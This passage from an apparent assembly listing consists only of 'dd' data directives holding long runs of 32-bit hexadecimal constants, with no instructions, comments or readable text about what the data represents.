733D7BF8h, 1F0D80EEh, 0F7786CE5h, 46B80183h dd 0C91B6404h, 6027F439h, 263BA900h, 0C14F80C5h, 0AAD9005Dh dd 0AD72C207h, 9102C032h, 5937B655h, 0F3BB4052h, 7A600AFh dd 0AE469B39h, 95006593h, 0EA17DCAAh, 3EB2BEDBh, 1A807748h dd 0B05CC89Bh, 0EE004916h, 0ADC22E8Dh, 79E3C22h, 621FE152h dd 30BAE70Dh, 0B86F8DDBh, 0F3993400h, 0E69B2217h, 0CEE40071h dd 6D94C1C0h, 87E84395h, 0E57AA1Ch, 4068B400h, 0BB703Ah dd 9A35CAEFh, 92E40CDCh, 0D01EFA39h, 0F900B6AEh, 220245C2h dd 2E105Dh, 0D26B6C76h, 82577F61h, 35EACB2Ch, 0A5CD1E03h dd 760976Fh, 0B5D7C6h, 277A6EE6h, 0CDF6554Bh, 1294BF07h dd 0F27005C1h, 1D3BEEB4h, 4F02DC0Dh, 0C322D6D0h, 23407977h dd 0BA1225F6h, 92007D1Ch, 0B9B6F29Dh, 25B0D9h, 50455AD1h dd 163EF9E0h, 0F50EF10Fh, 0A0660E43h, 8AF4D1Dh, 822D03DAh dd 25786ABAh, 0BDC03BFAh, 0C011B7Ah, 0D1D27302h, 83DAD31Ah dd 0B0B166D1h, 0E9C1484h, 0FE70CAF6h, 268FA926h, 0E79A2E00h dd 5516221Bh, 0A71D00EBh, 586AF4CEh, 0D8EC0A4Eh, 0F2ADD60h dd 810354h, 0AFEECDD3h, 0C196018Dh, 0D01E373Dh, 0C53B55F8h dd 34281F06h, 71527500h, 1F58F048h, 3BFE37h, 69E7B446h dd 0FD01CAEAh, 1BE96C36h, 89D07FEBh, 6BF291h, 0DC01C0BEh dd 0D666F15Ah, 0D002170h, 39FB48ABh, 1DBBE0F7h, 0C997A3h dd 0B398D8E5h, 1E728F8Bh, 58BD5301h, 4D13FE7Fh, 3D5EEDC8h dd 56072C6Bh, 0B90C59h, 0E5DCB44h, 0BD00F0B0h, 0B1DBE8B5h dd 0BF9D1Ah, 43E0AC1Fh, 865309EAh, 7DB5A53Dh, 3A2458h dd 8E82307Ah, 7E0DF7C4h, 9B2C00C0h, 3F34355Ch, 5AFED896h dd 0BC7E7403h, 0D8A77394h, 126A87B0h, 0FD7E5ABh, 0CC0BAD4h dd 9B967883h, 55F29500h, 0C95C2BBEh, 187101DAh, 38FA45BDh dd 64ECC8Eh, 7E024D07h, 0F8F0F4BAh, 0E65C3766h, 0EB291D09h dd 5F0D811Eh, 0C4B6740Fh, 61036BBBh, 0BE57ABE6h, 8472F849h dd 31F2048Ah, 80969D27h, 0EE9960F4h, 0DFD15600h, 50E62D8Dh dd 0C57512h, 0E72F5E67h, 0DC8AC01Fh, 74F7F900h, 4B9E4EC6h dd 7E130059h, 0F9989E1h, 5C01801Ah, 125DDF67h, 84E0E891h dd 0DDDE00D4h, 9F8BF731h, 0CE003A5Ch, 0BA582EEAh, 7072F9Ah dd 0E1D76EE8h, 2D7BE1BEh, 0CEF5D062h, 3878DC09h, 1E80005h dd 700B56h, 0D325D0DAh, 0E8F2DE2Eh, 0F5487D16h, 8DB3B500h dd 7DE13E99h, 79E90CBBh, 2509F708h, 451215B8h, 93078FC7h dd 41507C66h, 3F654002h, 0C080D433h, 3D51A193h, 3700F02Dh dd 0B257AC73h, 13329Ah, 2C094EBAh, 21B092ADh, 9EB63D3Bh dd 5A00CE17h, 0B2E08CCDh, 0D1330082h, 4734C218h, 444C1665h dd 0F8FE00D0h, 262ACF8Bh, 0F927000Bh, 6A56D71Dh, 0FA002513h dd 0D85E585Fh, 0F476AB85h, 9FCF001Ch, 63145BCBh, 0FA00A58Eh dd 0E14CF9C8h, 28109B7Fh, 0EA68EEh, 0DA6C2E3Ch, 0D7CA23F2h dd 93EDF400h, 0CCD51BD0h, 78070061h, 3D2DB6EAh, 23FE0D9h dd 0CB150042h, 0ABABE2Fh, 0F4441FA0h, 52E58091h, 0D66FA7B2h dd 0DC5D1F0Eh, 0E432FEFh, 0C665201Dh, 10F5B54h, 28D89E01h dd 0D09ACE1Bh, 400080D1h, 0A7E71D63h, 0D512A6h, 65D02497h dd 6A81C892h, 96CEA900h, 0C30778ACh, 0ADB70371h, 6666F5Bh dd 41B137E0h, 0EC92D000h, 539F65A3h, 0DAAA00B0h, 5D2BDBF7h dd 3D005A1Ah, 0F5A8CA5Bh, 1CE9D93h, 0DAE3C286h, 0DC6CB9AAh dd 490FAFADh, 802B1CD5h, 95D19F55h, 3A52002Ch, 0F6F7B0ACh dd 81005875h, 4234A7DEh, 0C1035h, 0AE3B5A08h, 0DA4E2F76h dd 0F1EEAA98h, 86936901h, 0A56E2AD0h, 0F2538A8Eh, 87099705h dd 2267D039h, 0D9007BC1h, 2B895CC3h, 0E6DE4A25h, 0FE4F055Dh dd 0C0795BFFh, 0B191AD72h, 27738D00h, 21252A82h, 0C94C1944h dd 0D8C72011h, 0C30047C1h, 314B797Ah, 83A602h, 0DFF75109h dd 0F0CEC985h, 0B9185200h, 0FBB7F315h, 0D56B4CD8h, 0A0709700h dd 0F43CECE3h, 0E7EF4A07h, 85A23520h, 641FE075h, 224700CCh dd 8FD20AA3h, 894DF490h, 201207B4h, 7CF06099h, 0E0F39C53h dd 8E3F008Bh, 71AEE4Ah, 1638B621h, 0D47593C0h, 6509600h dd 7BFC1D3h, 0FCA28373h, 0F9499044h, 0C400AADBh, 7CD98FC6h dd 594CFAh, 6B10FBF7h, 4A3AA74Bh, 0B8A32B00h, 0C0DE9499h dd 0ADC5003Ch, 892468C7h, 5704B38Dh, 314C7CD7h, 0BE6C69C0h dd 0DB4E00F5h, 0FF87BB83h, 3907975Ah, 0AA8CDCE7h, 0C50351C0h dd 21B20931h, 0D980A2D4h, 12B7D036h, 8B480500h, 0EB61345Ch dd 76CB003Fh, 8179D3B4h, 60009789h, 1DC75095h, 268A3716h dd 389649h, 4A56BFAEh dd 0A90526DDh, 0AF3CE32Ah, 0A9E8D11Dh, 685D7B07h, 0BFB04136h dd 0BAE96DFh, 949FDC2Bh, 0C04EF987h, 0FD04F0ADh, 6B178500h dd 379CAC29h, 0C05B2E5Fh, 35D70004h, 94FE736Ch, 0A5DFD909h dd 0FB600002h, 0EBD1866Fh, 1C3CB6C8h, 0C7F4BC5Ch, 2065DCF6h dd 45E82A67h, 665840E9h, 7513CDC1h, 0EA00C0E3h, 24D8DED0h dd 0EA7BB8D6h, 0A52D1C57h, 0BA84C09Bh, 481BF52Eh, 984A4718h dd 12ABFDD1h, 16C44C9h, 0CA7641C1h, 0A04AD05Ah, 883EF800h dd 45461273h, 0DCBF0018h, 80573DE3h, 30003ACFh, 50A3D4CBh dd 6803CEh, 924BF44Ah, 3775DE85h, 2F645500h, 0B2F599CBh dd 0C9250330h, 7F8E9051h, 97537ED8h, 19E55600h, 0F68FEA16h dd 5BB600D2h, 389A7C0Ch, 0A900A574h, 0A23BE03h, 0B4C684h dd 0D64F727h, 665242BDh, 0B011E800h, 4AE54463h, 0E22F000Bh dd 0EED08C6Dh, 0A900165Ch, 87FA7220h, 156404h, 990330F6h dd 0CF401EE5h, 84AA7428h, 252DC000h, 2A31BFEBh, 0D26E00FBh dd 3BF8F1D3h, 0CE03472Fh, 4340FCBAh, 9C0C9D70h, 75A39ADh dd 9E38A501h, 0E486204Fh, 8872D56Ch, 0A9A0E012h, 0C2000C12h dd 385E9DD1h, 44090765h, 48690DCh, 48E986E8h, 66FC9600h dd 2DD30E32h, 99170F70h, 0C482E859h, 0F883FFA5h, 0F0C7BDB9h dd 0D7406CC8h, 5FE30800h, 36794241h, 26F0048h, 5C140CF3h dd 2518F885h, 13A837C4h, 9260000Fh, 3DDCE30Dh, 2AECEEC5h dd 86084100h, 0B572FC19h, 0D1D4F958h, 16053825h, 80C32C1Eh dd 6086B8F2h, 6C06E57Fh, 0F87CAB36h, 0D6EC90h, 0E21D675Bh dd 78EB72F1h, 1ACF39h, 36273DB6h, 24E5E8BEh, 80385094h dd 0F5E4A0C7h, 73EA25DDh, 0F9CB2403h, 0D8501EC4h, 8837C6h dd 0B9FBC8E4h, 0A93F76FEh, 0ED9EDA01h, 9951A7D8h, 23EE0E3h dd 0B1A000D3h, 16E20457h, 0DB001A85h, 0A79E259Bh, 75138ECCh dd 702A1CFCh, 66E440A6h, 63851861h, 0BA512700h, 53054B41h dd 574D0103h, 6DF45B4Ch, 0CB8E0D2h, 2E5F60Fh, 0D7EB4008h dd 0C3EA0629h, 7F61B408h, 68AADDC8h, 28978A01h, 0ACD091EBh dd 0CC8F8CC5h, 0E90E4869h, 1B47B8E0h, 3913DFCFh, 69001691h dd 0FD92605h, 78B70322h, 59BC4EBBh, 962BAFE0h, 60236C00h dd 4A5E686Ah, 0A84EC67h, 0B108613Ah, 706B0088h, 695317ADh dd 0AFAA4E00h, 71F34A5h, 2F939844h, 9CD4A341h, 0F54B9403h dd 0C616E82Ah, 927400B1h, 205633B9h, 6807FDB4h, 985A5D54h dd 0F7C01B04h, 7DB24Fh, 0D3C7DC43h, 1AECBA7Eh, 0AE180A00h dd 44172D64h, 3D680062h, 0BDF9B79Bh, 0BA7B9FF4h, 0FCE44B03h dd 0C804E780h, 18AE6Bh, 384289A1h, 7A2E0812h, 0DFE0F70Fh dd 0C7C160F0h, 0EA7B9559h, 0AFFE0307h, 4E7C102Ah, 6DE072D0h dd 0EEF66001h, 0B57F04C7h, 0F8EA30h, 20E8099Dh, 1BEC687Ah dd 0F1CEAC00h, 223E3713h, 52A200F3h, 0D7A0C12h, 0EA0003EFh dd 0AAAF8BE7h, 6285FEh, 2BA7C18Ch, 2E8AF25Ah, 0A0EAA600h dd 787C334Ch, 1B7187h, 0CF90670Eh, 0A692AA1Eh, 337B8500h dd 0D4B19F6Dh, 3AC1001Ch, 0BDE14E8Eh, 470084AEh, 0C64C5897h dd 0FF1DFEh, 54337ABBh, 0ABBE7B6Dh, 0B1108800h, 9065AF94h dd 5C210062h, 35169A01h, 0C0ED5F0Fh, 0BB0C290Dh, 994A179h dd 41620E82h, 0CC837F75h, 24F0AF3Fh, 9103ED72h, 0E68004CDh dd 1783C81Dh, 56904CFEh, 4BDFB300h, 0D8AAE444h, 8818200h dd 2293A84Ch, 2575CAh, 3E5C8333h, 92146812h, 0FEDFE1C0h dd 0E210F6h, 202F2181h, 3A91F5D8h, 94BDD00h, 0E497671Eh dd 365A009Fh, 4EC14FB5h, 0BA0B7607h, 8039A948h, 77C4AC54h dd 0AA4501AEh, 6F623B52h, 0CD302094h, 7FF1F00h, 0F560BCBBh dd 0B1F101C2h, 97BA578Ch, 0AC80CB46h, 0F47DA737h, 78196401h dd 0B6EEB10Bh, 48AC8h, 0BE9780BAh, 0F4321199h, 727BA700h dd 7F010907h, 0C2ECA4h, 0EEAEB743h, 0CA19F940h, 7608B53Ah dd 136C3Bh, 0B3617895h, 0B1D642h, 7EE9CC88h, 7F729084h dd 1A1254FEh, 2420AA0Bh, 167FB1Dh, 0FC52D271h, 20490A65h dd 0C1241438h, 0A00053C6h, 82402E36h, 0ABEE00F0h, 0E4D47B2Ah dd 0EAE2C787h, 0F1A76D00h, 7197DF5Bh, 0AD490034h, 67F74132h dd 0DB708628h, 64990700h, 0CACBBAF9h, 29BC00F5h, 456F138Ch dd 7701FE54h, 554427EEh, 74FCC125h, 4A400056h, 116D78D0h dd 0B9EC5FF9h, 0A8F49100h, 983BB060h, 0E0074BD5h, 8500F69Ah dd 8A7D17F9h, 0FD0180h, 0DAEDDE54h, 0E03AEF6Ah, 9FB4F8C0h dd 9EC920h, 8FAF7330h, 86D2704Ch, 4F4B000h, 0EF2CE72Eh dd 0EE83005Ah, 5D9D05F2h, 8C30640h, 808902EAh, 0E47663D2h dd 496F00DEh, 9886A881h, 221C5DE8h, 978057C3h, 2925C5C6h dd 6663247Eh, 9B2B8030h, 0A6385FB5h, 0C6785D03h, 98840518h dd 0A7042h, 66C47DC2h, 0D1D07FC3h, 5D381400h, 0EFB7C75Eh dd 769701B2h, 0AE580B99h, 0F5FCF911h, 0E0A0C5DBh, 8400C612h dd 1E34E955h, 6B410Ah, 0F0C4B327h, 0FBC11521h, 0A3B99E0Fh dd 3A5C4045h, 1E6F2C6h, 6BAE9F9Bh, 0E07EA912h, 43162653h dd 0FF00EA75h, 0A07CDEE0h, 0D7360141h, 0A15D9CA7h, 8BA07092h dd 0F3BD7D00h, 0DBC0310Eh, 3EB02D4h, 0C555A8A9h, 0F536D840h dd 93A44900h, 65E45ECDh, 88D8003Ah, 0AC744664h, 0F00E86ECh dd 225F20AAh, 60AF92EFh, 732E85B8h, 9FD30179h, 0F1035837h dd 0D92BE85Dh, 0B85CB128h, 602ABE0Fh, 85128044h, 508DFC7Ah dd 32DBE0Ah, 7B4802A1h, 0C6B01352h, 7200FDA3h, 0CF17B2F6h dd 3BEDF5E5h, 599F89D6h, 3AB068DAh, 74017103h, 77939415h dd 40F43147h, 0A34CFCF0h, 0A5704DE8h, 0B988EA03h, 28D65Dh dd 0BEACB51Ch, 0CBF29BAFh, 34A7C524h, 6D40041Fh, 42A04556h dd 8151480Ch, 5F5C0900h, 0A66670C5h, 234B7200h, 45DD2192h dd 1D7BC0h, 3C9BF64Dh, 73DECB99h, 728CC600h, 7BDFD3BCh dd 22C50041h, 852F3AEAh, 4E053B44h, 0BDE423A1h, 0B42B00C0h dd 0FB80C732h, 0A09AF7D4h, 4C23EAE0h, 5004E41Eh, 0E72F7305h dd 0DEA3D400h, 0E71DA6Eh, 753DC3E9h, 5DF69720h, 3F00F357h dd 1DB7232Fh, 11CC86Bh, 0E7D1199Eh, 0C884BA65h, 7D05813Bh dd 27FCE56Ah, 930C3C07h, 3A03F0C0h, 0FD22038Fh, 0F2E2B842h dd 44522006h, 81EA0Ah, 0B7DAD3EDh, 0C9A73C39h, 0C8005F72h dd 35833AFAh, 8D03BBh, 0EBD5A0FDh, 42044CCFh, 0EC1DFB14h dd 0B4300060h, 706E21D1h, 25900ABh, 0FC23C17Eh, 7100F86Bh dd 3A74BEEDh, 0ABFFDh, 9EC5273Bh, 17F38F23h, 0AF370801h dd 3EBD070Dh, 742EB0DFh, 0A19700F6h, 469847DCh, 0A800E36Eh dd 0CF427A4h, 0EEB0784Ah, 35BD30DEh, 624FE4F0h, 85FCE801h dd 8243E7D6h, 88A60895h, 6281C438h, 0CC95B2F9h, 0EC3B60FAh dd 699E5D00h, 31D580A7h, 386000E0h, 0F45ED6BEh, 4D308B41h dd 0DEBA40ADh, 7ADF0005h, 7023E42Ah, 8DE8E281h, 50BC7858h dd 2500A056h, 1AFAF930h, 18702C8Ch, 50474C69h, 0A91C91A8h dd 23C7D154h, 3CC042DEh, 0C43818h, 0FE5FD6BBh, 87B5E96Bh dd 5C28D4h, 0F310C8C2h, 1877D6B1h, 38E614B8h, 59183121h dd 0C929451Ch, 789003Ch, 6B75E412h, 69281430h, 200024D8h dd 5DC03C85h, 0FCDDB39h, 0A45EA74Bh, 0BE2E4980h, 5B03D127h dd 0EB21E3E7h, 7E380E89h, 69E0427Ch, 0E2A0B0F5h, 0E0475A00h dd 0A6A9F333h, 0BCC00074h, 9B66BD6h, 7805449Ah, 799BDAF2h dd 0EE9614h, 0F5D1AA1Bh dd 626FAFh, 1D10E1D3h, 86D71881h, 0CC2CD803h, 0C86EE5DFh dd 0F1A587h, 0B7395029h, 2C47AFCh, 0A7F52300h, 624253A6h dd 16941F86h, 55D04EDCh, 50D895A7h, 82A9D605h, 8AAF5Ch dd 3F40F0BBh, 190B163h, 8F58480Ah, 0DBB67ECFh, 0AFBB3BF0h dd 17B8400h, 759DEA15h, 0B88C00FFh, 0FAEBC6B7h, 5918DF19h dd 234A74ECh, 8447071Eh, 0B0E9D065h, 0E4CD3BABh, 44F89400h dd 0A3919BB0h, 7A630083h, 4CC53D7h, 3B1E306Eh, 0FE00AD5Ah dd 0EB6FA57h, 0F8E6002Bh, 8C1B5633h, 0E300F2DAh, 0D61E02FBh dd 0D5F43Ah, 0B1B90C91h, 0C2606167h, 976242E6h, 6077D360h dd 0E882CF52h, 0FDF04A2h, 0FFB48859h, 9348FCC1h, 7C42E8h dd 7974FAF3h, 0A59566CAh, 0DC7DD724h, 9CA2E400h, 70733D60h dd 58FE00E2h, 0BBE6BFB7h, 0EE031ED1h, 5B8E0BD4h, 8750001Bh dd 0E86C093Ch, 40C04579h, 3A722CF0h, 0E1C00D4h, 62BCFE80h dd 75321105h, 0C19C185Eh, 31803DE5h, 0DD3F2960h, 0B2078853h dd 0D2A215A8h, 37F290D0h, 40F800B8h, 8A7C2979h, 933F6F17h dd 6EBC8006h, 32BDC505h, 5BA90023h, 1A47329h, 86058EABh dd 0CA54F450h, 183AF71Fh, 0D0487516h, 37710015h, 7CCDD828h dd 5000E24Dh, 391F449Bh, 455C56h, 8B3702Fh, 0F79CB6ACh dd 300F82B0h, 0C32EF117h, 0D84E7A95h, 0FA2568h, 79A76E64h dd 7F0E0B50h, 0D4F91E00h, 0FD5BA24Dh, 617448h, 874BCA64h dd 144327DEh, 0D9C42E03h, 0D8794258h, 6EACE20h, 3DB22829h dd 2B00F1AAh, 975E374Fh, 3566A4h, 8A4D337Ah, 1EFDD450h dd 3664EC00h, 98CA564Ch, 0C2DE0717h, 70103DC6h, 9D1A3E13h dd 804B3A00h, 92AA77A8h, 5FDE00D9h, 89889A61h, 7E0EF0B0h dd 0E988F4Fh, 6BC0A2F9h, 0D4D4067h, 8A0E00CFh, 8371FEDEh dd 1311A65h, 89A618CBh, 24D9ADCh, 65F2931h, 670008C2h dd 0FFDA79h, 9B0A295h, 82E922D5h, 0C78C6C00h, 4ACA32D4h dd 797749h, 62B0AA57h, 0D8FE9E3h, 9A00FF98h, 0ABCABF18h dd 799AD70h, 0B6B00892h, 0C12A048Ah, 0EF27693Dh, 129D33C0h dd 25EEB700h, 154FB6E9h, 9E033AC4h, 0D4B0D500h, 0DAF33995h dd 0A61E4700h, 28569B58h, 0E659030Eh, 0C1CD4645h, 559A3801h dd 38FAD883h, 0AD208EF5h, 20EA003Ah, 66428780h, 24007A4Eh dd 0EFDC59D0h, 44E701h, 3B63A506h, 0E8885C77h, 804A142Dh dd 0E53A96BBh, 0B0380046h, 62D8193Ch, 0ED00F121h, 8C7345F4h dd 1EAB55Eh, 125B4B03h, 0F8ACDABAh, 0E9035977h, 0BD80B3D7h dd 0C601C7ADh, 489FCD78h, 743905h, 0BF324CACh, 8D626544h dd 3B40EF00h, 6C3E5A26h, 1DDA00F9h, 0A229C150h, 7F7186F2h dd 55652200h, 3EE33B8h, 8C020072h, 0AAFAA43Eh, 8E01F9C9h dd 11382B61h, 9CE11264h, 19FB520h, 0FC5C68DEh, 0F4C61939h dd 0F6188C3Dh, 0D60AAEA1h, 21F10780h, 1ECD389h, 806D3FA7h dd 0A2624B8h, 0AA52E1h, 0BA20800Dh, 0E7BF11C9h, 1759CE01h dd 0BDA7161Dh, 0E9F47261h, 0F718C04Eh, 6F56AFA8h, 105B5Ch dd 3A7E3E7Fh, 3324340h, 7925B320h, 0ED90A6DCh, 0C60375C5h dd 0FF827BEEh, 0AB2CF9A2h, 1C6809C0h, 0B53BD3h, 806E50CDh dd 1A006D28h, 0FEC5FB82h, 74456108h, 271005F4h, 0F82F7A47h dd 0B875018Eh, 46A27459h, 2EA406E8h, 21DC333Ch, 972B6020h dd 7E206825h, 0C7ED007Ah, 0A1C11D27h, 0D23E7B7Fh, 329980C6h dd 6F6A6546h, 5BD0177h, 279222C3h, 0B0F4F0A6h, 0CFBB5400h dd 0B4602F7Dh, 20BE0F9Dh, 4B202BBDh, 93B1B639h, 0F47C2E00h dd 0DCA731EFh, 0F8370CE1h, 46A0EE84h, 82004F74h, 63B6F87h dd 0EE2E4B14h, 0CC7081h, 5111135Ah, 7990E528h, 0E2D58201h dd 0E9F458A0h, 0A84BA030h, 1EEC61A4h, 17D27A2h, 0D1690B96h dd 0FCE3DCD0h, 0A980E500h, 0AA50C849h, 0B3750315h, 7B0C739Dh dd 0C081B801h, 0C1274B86h, 0AA8CCD0h, 79E0BB6Dh, 90D66780h dd 29417A13h, 10EA078Dh, 0F0F8BEFDh, 7B0E87E8h, 63DFC485h dd 0E8130ED0h, 3C69FED4h, 2C1EA105h, 0AF4DC079h, 8BFA85CCh dd 0FD2B2603h, 987E8219h, 79B848Dh, 0BC2F0EBBh, 37E56053h dd 6B58D0EEh, 0C1C505A8h, 8000D22Ch, 0EF28DCCAh, 20FA528Eh dd 398C36CAh, 0C0C420D1h, 0F696B090h, 523F0079h, 0DB854DF5h dd 865014E6h, 0FF3DCDD0h, 0D6388053h, 7E7DC51Fh, 0AD0D0E22h dd 689B053Ah, 3C042842h, 7D31054Bh, 0C7A0EB1h, 0D1300868h dd 2D393051h, 6871B207h, 0EE25C898h, 0B0158AC0h, 14F7383Bh dd 94C5FE83h, 190C3E0Fh, 31725686h, 10EA42C0h, 888269AEh dd 0D9203D59h, 157B7789h, 0C04C899h, 0C185320Ch, 0CA80C49h dd 2884873Eh, 1930E7F8h, 49557A53h, 185451A0h, 0FC0C4178h dd 755443F1h, 680C05D5h, 0E21805EBh, 0E44805AEh, 0F71805F5h dd 900C0885h, 200D218Fh, 9F8286A7h, 0AAD20052h, 0EA569408h dd 0A8A0C9FAh, 3A0025F0h, 18271766h, 1970559h, 4FD47A36h dd 0D39D6396h, 4B82B798h, 0B51DBCEEh, 3C034EDh, 0F63C599Ah dd 749B07B6h, 0C3AEF3D3h, 1CB8150Dh, 8C07B434h, 0A0BA5035h dd 0A8D7A190h, 0BA9856h, 90191DF1h, 9439C723h, 73A6B07h dd 0A080CDECh, 6798EDh, 8E3F551Ah, 45369E15h, 294C0654h dd 30F68218h, 22B5D8h, 6C55025Ah, 690C0B8Fh, 0F4288B00h dd 34D24603h, 0D998005Eh, 311829A9h, 1400ACFFh, 0A569F06Eh dd 0A79C79h, 0EC47EE53h, 8EADFAFEh, 0C7F80105h, 1C379A0Bh dd 1CF2A382h, 0B5000BFCh, 9B842E5h, 2E37E05h, 4666EF6Eh dd 0C0953328h, 3FBE2600h, 749CD18h, 0BAFD3C0Dh, 796681DBh dd 0B428804Ch, 0F773EEEh, 0CD2E0099h, 0AA5D4204h, 7A002DD7h dd 0A68112FEh, 1C1EEF2h, 644946BCh, 0D99FAE51h, 5CA7DC09h dd 6F04F100h, 568DA4AAh, 0A8DE0082h, 7DA0F376h, 0BC00E079h dd 0A5259289h, 2BD528h, 8CE75BAh, 0A31DB88Fh, 0C3336C1Dh dd 0B3F09880h, 0FCC4C12h, 0D1CB2A3Dh, 0AEEBC8DCh, 0A9C4781h dd 88403293h, 2A78D0Bh, 0EF3599BEh, 5897B36Bh, 0D692D408h dd 4CFCD629h, 12C9A160h, 0AD030E73h, 65208F27h, 0B3D05F7Bh dd 1D464417h, 5EA5C300h, 0F0A74884h, 53C4301Eh, 0ECB3A308h dd 0C3304726h, 6DA1A006h, 110C0030h, 97E38357h, 3D3F8767h dd 8BD100DCh, 768131EAh, 0D9583809h, 0BBA5A483h, 40C0619Ch dd 0F826D1A0h, 110001BAh, 0DA6FD3B5h, 0E5D0E5A6h, 40020E74h dd 0A360DC8Eh, 8654912Ah, 22E04803h, 80D77104h, 0EF09D6Ch dd 85239C07h, 2B1D069Eh, 1E000889h, 9E9DC02Eh, 508A7094h dd 0AC802Ah, 316F03C6h, 908957F2h, 0AC748429h, 2748005Ch dd 2351E6FBh, 440C64F9h, 26912E62h, 0E771008Ch, 733337A1h dd 9407C880h, 0B7C424ACh, 0C5214E50h, 447D57AAh, 9CF5A5F0h dd 0F9180A0h, 0BD69AB0Fh, 40148106h, 3426D113h, 2ED70075h dd 0BA7EE323h, 0E4004468h, 9A80B68Ch, 1F1C7661h, 58DA4Fh dd 2383E13Eh, 0E630F928h, 1F3F6065h, 0A835000Bh, 0E9528FD9h dd 62017540h, 0F951965Ah, 28BE0119h, 48AD00F7h, 0E275D69Bh dd 8F12BC83h, 0A711EBE4h, 1E75C384h, 0A40ED863h, 93A0A048h dd 0D28A0047h, 0EF7428DFh, 0E60038EDh, 502A8CACh, 1C9BCDC4h dd 4079FD4Ch, 81526C90h, 0EE12A886h, 68006D3Ah, 0CFB91F1Eh dd 0BAF016ACh, 0AFE40095h, 2FF4785Bh, 0BF3B910Ah, 980D059h dd 7DAC4DB5h, 7A153A11h, 2B4B2292h, 824F8E64h, 689BD875h dd 0B179D08h, 95801869h dd 49C95C87h, 346E1680h, 6002BB41h, 90C5FDFAh, 710C45A7h dd 978E4367h, 4345D804h, 4904B5Ah, 7F1C789h, 0B6192138h dd 15B81F2h, 0A0FC4ADDh, 721C3A34h, 0C8FC0561h, 5F2B2F84h dd 42FE5CF4h, 9DCCE614h, 0E905809Ch, 1EF4864Fh, 750C442Eh dd 9018849Ah, 91736800h, 0C65012D6h, 53C4A6A5h, 890090CFh dd 840D86C9h, 1490B963h, 0C2C2F1Eh, 1168EB0Ch, 8BE408CDh dd 8A906D9Eh, 50A46118h, 5E0D552Eh, 2199D562h, 4960FFCCh dd 0F43A3C5Ch, 9C1926h, 9E29BB3Bh, 4F0011B3h, 0DE9099D3h dd 508E742Eh, 486C8639h, 907A40E6h, 48041330h, 0AE680095h dd 0C9E089EBh, 41083D1Eh, 5166EC00h, 0AD3734Ah, 2EDF749Ch dd 2AB129Ch, 0A144290Ch, 0D8620068h, 4241EB00h, 43607D1Fh dd 0EAF7019Fh, 5FC72CBEh, 6002472h, 5446ACA0h, 0B2F0F89Ah dd 0F0B0CD0Eh, 9339606Dh, 0E5C6A8h, 437FAEB5h, 1EF7AAF4h dd 0BAF373Ah, 2291463Ah, 4C524510h, 0E3FE1390h, 0B04801B5h dd 20F7F45Ch, 563348C0h, 0A7ED3036h, 0CC0D224h, 0C1B2D48Ch dd 3046AB48h, 345C2026h, 86889F0Ch, 81309Ch, 0BF0B3851h dd 0EEB349B4h, 0E25AD3Eh, 3D572F8Eh, 273EBC0h, 32CA03Ah dd 72A8F1A2h, 11009A88h, 0ABAFFAA6h, 300751D7h, 73483D89h dd 1D05C3D2h, 6C026783h, 70442040h, 0C20DD79h, 0BE8937CAh dd 3A295330h, 583034B1h, 4130A1D7h, 33298054h, 431E5828h dd 1F4E3A9Eh, 73B5C10Ah, 0D2B96030h, 1CA851F1h, 0CF0F6813h dd 6A1F231Dh, 70EC4C1Bh, 0D7A8294Fh, 17F3011Ch, 0CC431AFCh dd 38A51B01h, 0C982A985h, 0C2D36823h, 972914B8h, 0B38030A9h dd 0E35E855Fh, 0BC750508h, 68D870FCh, 34ACE99Ch, 9C99348h dd 0A8B9E32Fh, 73D9684Ch, 521AE0ECh, 609AEC63h, 1DA65C81h dd 75FD430h, 0C7534A0Ah, 0AE5018FAh, 6E290095h, 334A04D4h dd 1D57CE22h, 24BC0244h, 2CC53906h, 0ADE91359h, 0C543D8E0h dd 71686F0h, 8AA2E8B0h, 700A5BB4h, 24F16A99h, 0B61EF341h dd 4F857892h, 1A413B20h, 0ABAF7AC3h, 90B02C11h, 8CD7978Eh dd 28E9D331h, 88C6FE2h, 62A0E7A2h, 0C1CA548h, 0A8BAAA03h dd 50CE530Ch, 0E3BF398Fh, 0B8A9B31Ch, 103688ECh, 0C55430FBh dd 0FC40FA93h, 631DB404h, 73FD0CB5h, 42D06A82h, 9800A4Ch dd 51C6B23h, 9C4CA4E0h, 37E3A86Eh, 70100592h, 0B6C31E26h dd 0A43EC8AAh, 0CCFD58B5h, 0A7F99050h, 0DB2284A0h, 0C57CE280h dd 495F0368h, 580572B0h, 0D6F838DCh, 24D91822h, 0BF0C9F0h dd 180EE49Dh, 14B0AE0Ah, 620C8881h, 0C8F00131h, 0E67C8F48h dd 0B9C121B0h, 0EA335131h, 15821860h, 741AFE5Ch, 0DF5E88D8h dd 301F0610h, 0AF711380h, 0D409E325h, 1C50A69Dh, 0D019126Ch dd 1CB4100Dh, 0B49AF302h, 28420326h, 0FB00884Fh, 42C0F885h dd 12B890A3h, 2C1E3DE4h, 0A8059D18h, 0AE08F88Eh, 3CE69002h dd 81A04526h, 0E8C8224Ch, 33508194h, 81400D4Dh, 210814F3h dd 19C02CD5h, 49C4AF7h, 61761380h, 1211F0A9h, 0ED185CD7h dd 0EF220D08h, 6CF3004Eh, 0C0A13043h, 0DB0414A6h, 5D6D77B4h dd 556CD300h, 88A50133h, 94A70B01h, 2881715Bh, 32EC33B3h dd 0FE3C5881h, 0BC941B08h, 80931D1Fh, 44213070h, 0E1483351h dd 7BC1A004h, 31C360F2h, 94E39C73h, 0F47CA701h, 0CFBAE2E5h dd 15B0C2E4h, 60AA056Fh, 0C3CA4B80h, 0A4A064A9h, 47008F53h dd 0F10A6795h, 635E794h, 21813339h, 0CA548CAh, 15BBAB1Eh dd 34C427EDh, 3465819Ah, 93A63105h, 67C0EC5Dh, 97E79546h dd 3D18A5F1h, 184C4597h, 0ECF358DAh, 0E2E64200h, 2E5F835h dd 82E0CAA9h, 7EC750A0h, 0D3489250h, 0E5E3FD00h, 94EC4FC2h dd 7118AC87h, 63FF2A6Eh, 8FB30480h, 8A279510h, 789C049Ch dd 6091BF9Dh, 104CF193h, 5D8108F6h, 7300FACCh, 22E13106h dd 0A4EE5171h, 0C9C05C32h, 1A27B3DAh, 0B65128B0h, 3CB0CABCh dd 20131443h, 48057EC0h, 800A3E33h, 29C01422h, 40C08C47h dd 0E3041378h, 0B9E1D6F7h, 0E0BBD971h, 0ACA8CE4Bh, 4701F7EDh dd 94EBEC21h, 3887E827h, 0CEF82C61h, 40026789h, 21054BC1h dd 0E1343C60h, 8CE51489h, 8730B8B5h, 0F42AA140h, 7C0681E8h dd 6542E3A6h, 10612448h, 0F8A21448h, 50F7BFA0h, 0BD43120h dd 